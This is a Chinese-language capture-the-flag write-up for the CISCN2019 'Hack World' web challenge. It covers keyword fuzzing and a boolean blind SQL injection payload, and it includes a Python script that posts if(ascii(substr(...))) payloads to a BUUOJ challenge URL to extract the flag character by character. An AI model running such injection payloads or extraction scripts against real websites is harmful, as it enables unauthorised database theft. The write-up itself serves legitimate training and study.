[CISCN2019 华北赛区 Day2 Web1]Hack World
题目
拿到这道题,是给了提示的,我们猜想是一道注入的题目
分析
我们先提交一个1,抓个包看看
再跟个1'呢
发现报错,再输入1' or 1=1--+,猜想后端应该是做了某种过滤
我们先来fuzz一下,看到底哪些关键字被过滤掉了
把数据包放到爆破模块中
导入我们的fuzz字典,然后开始爆破
leng=472的是没有被过滤掉的,结合没有被过滤的关键字,我们考虑用bool盲注
payload
id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)
当>102时,报错,说明第一个字符就是102的ascii所对应的字符,也就是f
我们可以写一个python脚本,解放劳动力(我写的脚本有问题,这里贴上别人的脚本)
1 import requests
2
3 url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"
4
5 result = ""
6 num = 0 # 用了来判断是不是flag已经拼完整了
7 for i in range(1, 60):
8
9 if num == 1:
10 break
11
12 for j in range(32, 128):
13
14 payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
15 # print(str((i-1)*96+j-32)+":~"+payload+"~")
16
17 data = {
18 "id": payload,
19 }
20
21 r = requests.post(url, data=data)
22
23 r.encoding = r.apparent_encoding
24
25 if "Hello" in r.text:
26 x = chr(j)
27 result += str(x)
28 print(result)
29 break
30
31 if "}" in result:
32 print(result)
33 num = 1
34 break